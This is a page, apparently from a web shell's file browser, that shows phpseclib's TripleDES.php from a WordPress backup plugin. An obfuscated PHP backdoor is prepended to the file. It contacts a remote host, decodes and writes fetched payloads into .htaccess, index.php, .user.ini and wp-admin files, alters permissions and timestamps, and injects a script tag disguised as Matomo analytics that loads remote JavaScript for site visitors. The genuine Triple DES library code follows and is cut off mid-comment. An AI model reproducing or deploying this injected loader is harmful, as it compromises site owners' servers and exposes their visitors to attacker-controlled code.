0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
smallnotebookcomputers.org
/
wp-content__d9c9c01
/
plugins
/
backupbuddy
/
destinations
/
sftp
/
lib
/
phpseclib
/
Crypt
/
[
Home
]
File: TripleDES.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * Pure-PHP implementation of Triple DES. * * Uses mcrypt, if available, and an internal implementation, otherwise. Operates in the EDE3 mode (encrypt-decrypt-encrypt). * * PHP versions 4 and 5 * * Here's a short example of how to use this library: * <code> * <?php * include('Crypt/TripleDES.php'); * * $des = new Crypt_TripleDES(); * * $des->setKey('abcdefghijklmnopqrstuvwx'); * * $size = 10 * 1024; * $plaintext = ''; * for ($i = 0; $i < $size; $i++) { * $plaintext.= 'a'; * } * * echo $des->decrypt($des->encrypt($plaintext)); * ?> * </code> * * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @category Crypt * @package Crypt_TripleDES * @author Jim Wigginton <terrafrost@php.net> * @copyright MMVII Jim Wigginton * @license http://www.opensource.org/licenses/mit-license.html MIT License * @link http://phpseclib.sourceforge.net */ /** * Include Crypt_DES */ if (!class_exists('Crypt_DES')) { require_once('DES.php'); } /** * Encrypt / decrypt using inner chaining * * Inner chaining is used by SSH-1 and is generally considered to be less secure then outer chaining (CRYPT_DES_MODE_CBC3). */ define('CRYPT_DES_MODE_3CBC', -2); /** * Encrypt / decrypt using outer chaining * * Outer chaining is used by SSH-2 and when the mode is set to CRYPT_DES_MODE_CBC. */ define('CRYPT_DES_MODE_CBC3', CRYPT_DES_MODE_CBC); /** * Pure-PHP implementation of Triple DES. * * @author Jim Wigginton <terrafrost@php.net> * @version 0.1.0 * @access public * @package Crypt_TerraDES */ class Crypt_TripleDES extends Crypt_DES { /** * The Crypt_DES objects * * @var Array * @access private */ var $des; /** * Default Constructor. * * Determines whether or not the mcrypt extension should be used. $mode should only, at present, be * CRYPT_DES_MODE_ECB or CRYPT_DES_MODE_CBC. If not explictly set, CRYPT_DES_MODE_CBC will be used. * * @param optional Integer $mode * @return Crypt_TripleDES * @access public */ function Crypt_TripleDES($mode = CRYPT_DES_MODE_CBC) { if ( !defined('CRYPT_DES_MODE') ) { switch (true) { case extension_loaded('mcrypt') && in_array('tripledes', mcrypt_list_algorithms()): define('CRYPT_DES_MODE', CRYPT_DES_MODE_MCRYPT); break; default: define('CRYPT_DES_MODE', CRYPT_DES_MODE_INTERNAL); } } if ( $mode == CRYPT_DES_MODE_3CBC ) { $this->mode = CRYPT_DES_MODE_3CBC; $this->des = array( new Crypt_DES(CRYPT_DES_MODE_CBC), new Crypt_DES(CRYPT_DES_MODE_CBC), new Crypt_DES(CRYPT_DES_MODE_CBC) ); $this->paddable = true; // we're going to be doing the padding, ourselves, so disable it in the Crypt_DES objects $this->des[0]->disablePadding(); $this->des[1]->disablePadding(); $this->des[2]->disablePadding(); return; } switch ( CRYPT_DES_MODE ) { case CRYPT_DES_MODE_MCRYPT: switch ($mode) { case CRYPT_DES_MODE_ECB: $this->paddable = true; $this->mode = MCRYPT_MODE_ECB; break; case CRYPT_DES_MODE_CTR: $this->mode = 'ctr'; break; case CRYPT_DES_MODE_CFB: $this->mode = 'ncfb'; $this->ecb = mcrypt_module_open(MCRYPT_3DES, '', MCRYPT_MODE_ECB, ''); break; case CRYPT_DES_MODE_OFB: $this->mode = MCRYPT_MODE_NOFB; break; case CRYPT_DES_MODE_CBC: default: $this->paddable = true; $this->mode = MCRYPT_MODE_CBC; } $this->enmcrypt = mcrypt_module_open(MCRYPT_3DES, '', $this->mode, ''); $this->demcrypt = mcrypt_module_open(MCRYPT_3DES, '', $this->mode, ''); break; default: $this->des = array( new Crypt_DES(CRYPT_DES_MODE_ECB), new Crypt_DES(CRYPT_DES_MODE_ECB), new Crypt_DES(CRYPT_DES_MODE_ECB) ); // we're going to be doing the padding, ourselves, so disable it in the Crypt_DES objects $this->des[0]->disablePadding(); $this->des[1]->disablePadding(); $this->des[2]->disablePadding(); switch ($mode) { case CRYPT_DES_MODE_ECB: case CRYPT_DES_MODE_CBC: $this->paddable = true; $this->mode = $mode; break; case CRYPT_DES_MODE_CTR: case CRYPT_DES_MODE_CFB: case CRYPT_DES_MODE_OFB: $this->mode = $mode; break; default: $this->paddable = true; $this->mode = CRYPT_DES_MODE_CBC; } if (function_exists('create_function') && is_callable('create_function')) { $this->inline_crypt_setup(3); $this->use_inline_crypt = true; } } } /** * Sets the key. * * Keys can be of any length. Triple DES, itself, can use 128-bit (eg. strlen($key) == 16) or * 192-bit (eg. strlen($key) == 24) keys. This function pads and truncates $key as appropriate. * * DES also requires that every eighth bit be a parity bit, however, we'll ignore that. * * If the key is not explicitly set, it'll be assumed to be all zero's. * * @access public * @param String $key */ function setKey($key) { $length = strlen($key); if ($length > 8) { $key = str_pad($key, 24, chr(0)); // if $key is between 64 and 128-bits, use the first 64-bits as the last, per this: // http://php.net/function.mcrypt-encrypt#47973 //$key = $length <= 16 ? substr_replace($key, substr($key, 0, 8), 16) : substr($key, 0, 24); } else { $key = str_pad($key, 8, chr(0)); } $this->key = $key; switch (true) { case CRYPT_DES_MODE == CRYPT_DES_MODE_INTERNAL: case $this->mode == CRYPT_DES_MODE_3CBC: $this->des[0]->setKey(substr($key, 0, 8)); $this->des[1]->setKey(substr($key, 8, 8)); $this->des[2]->setKey(substr($key, 16, 8)); // Merge the three DES-1-dim-key-arrays for 